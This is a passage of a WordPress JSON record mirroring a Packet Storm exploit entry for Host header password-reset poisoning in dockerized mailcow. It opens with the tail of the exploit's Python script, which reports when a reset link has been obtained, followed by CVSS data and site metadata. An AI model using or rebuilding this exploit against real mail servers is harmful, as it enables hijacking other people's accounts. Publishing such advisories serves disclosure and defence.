cookie_header=args.cookie,\\n            csrf_override=args.csrf,\\n        )\\n        if link:\\n            if not args.only_final:\\n                print(f\\&#8221;{BOLD}{GREEN}Success:{RESET} reset link obtained. Exiting.\\&#8221;)\\n        else:\\n            if not args.only_final:\\n                print(\\&#8221;[i] No success (attempts exhausted or aborted).\\&#8221;)\\n    \\n    if __name__ == \\&#8221;__main__\\&#8221;:\\n        main()&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/215692&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:8.8,&#8221;severity&#8221;:&#8221;HIGH&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:R\/S:U\/C:H\/I:H\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/215692\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-02-16T17:44:24&#8243;,&#8221;description&#8221;:&#8221;mailcow: dockerized versions prior to 2025-01a are vulnerable to Host header poisoning in the password reset workflow. The application incorrectly trusts the Host header when&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,41,12,15,13,53,7,11,5],"class_list":["post-41063","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-88","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 mailcow: Dockerized Host Header Password Reset Poisoning_PACKETSTORM:215692 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=41063\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 mailcow: Dockerized Host Header Password Reset Poisoning_PACKETSTORM:215692 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-02-16T17:44:24&#8243;,&#8221;description&#8221;:&#8221;mailcow: dockerized versions prior to 2025-01a are vulnerable to Host header poisoning in the password reset workflow. The application incorrectly trusts the Host header when...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=41063\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-02-16T12:46:48+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"18 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41063#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41063\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 mailcow: Dockerized Host Header Password Reset Poisoning_PACKETSTORM:215692\",\"datePublished\":\"2026-02-16T12:46:48+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41063\"},\"wordCount\":3483,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"CVSS-8.8\",\"exploit\",\"HIGH\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=41063#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41063\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41063\",\"name\":\"\ud83d\udcc4 mailcow: Dockerized Host Header Password Reset Poisoning_PACKETSTORM:215692 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-02-16T12:46:48+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41063#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=41063\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41063#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 mailcow: Dockerized Host Header Password Reset Poisoning_PACKETSTORM:215692\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 mailcow: Dockerized Host Header Password Reset Poisoning_PACKETSTORM:215692 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=41063","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 mailcow: Dockerized Host Header Password Reset Poisoning_PACKETSTORM:215692 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-02-16T17:44:24&#8243;,&#8221;description&#8221;:&#8221;mailcow: dockerized versions prior to 2025-01a are vulnerable to Host header poisoning in the password reset workflow. The application incorrectly trusts the Host header when...","og_url":"https:\/\/zero.redgem.net\/?p=41063","og_site_name":"zero redgem","article_published_time":"2026-02-16T12:46:48+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"18 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=41063#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=41063"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 mailcow: Dockerized Host Header Password Reset Poisoning_PACKETSTORM:215692","datePublished":"2026-02-16T12:46:48+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=41063"},"wordCount":3483,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","CVSS-8.8","exploit","HIGH","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=41063#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=41063","url":"https:\/\/zero.redgem.net\/?p=41063","name":"\ud83d\udcc4 mailcow: Dockerized Host Header Password Reset Poisoning_PACKETSTORM:215692 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-02-16T12:46:48+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=41063#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=41063"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=41063#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 mailcow: Dockerized Host Header Password Reset Poisoning_PACKETSTORM:215692"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/41063","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=41063"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/41063\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=41063"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=41063"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=41063"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}